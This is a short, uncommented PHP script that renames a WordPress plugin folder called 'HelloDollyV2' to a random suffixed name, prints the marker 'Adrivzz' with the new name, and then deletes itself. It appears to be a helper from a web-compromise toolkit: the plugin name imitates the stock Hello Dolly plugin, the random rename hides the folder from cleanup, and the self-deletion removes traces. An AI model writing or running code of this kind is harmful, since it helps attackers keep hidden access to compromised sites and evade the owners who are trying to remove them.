<?php
$rootPath = $_SERVER["DOCUMENT_ROOT"];
$pluginsDir = $rootPath . DIRECTORY_SEPARATOR . "wp-content" . DIRECTORY_SEPARATOR . "plugins";
if (!is_dir($pluginsDir)) {
    exit;
}
$old_name = $pluginsDir . DIRECTORY_SEPARATOR . "HelloDollyV2";
if (!file_exists($old_name)) {
    exit;
}
$random_string = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 4);
$new_name = $pluginsDir . DIRECTORY_SEPARATOR . "HelloDollyV2_" . $random_string;
while (file_exists($new_name)) {
    $random_string = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 4);
    $new_name = $pluginsDir . DIRECTORY_SEPARATOR . "HelloDollyV2_" . $random_string;
}
if (!is_writable($pluginsDir)) {
    exit;
}
if (!rename($old_name, $new_name)) {
    echo "Error renaming the file or folder: $old_name to $new_name.<br>";
    exit;
}
echo "Adrivzz<br>" . basename($new_name) . "</br>";
unlink(__FILE__); 
?>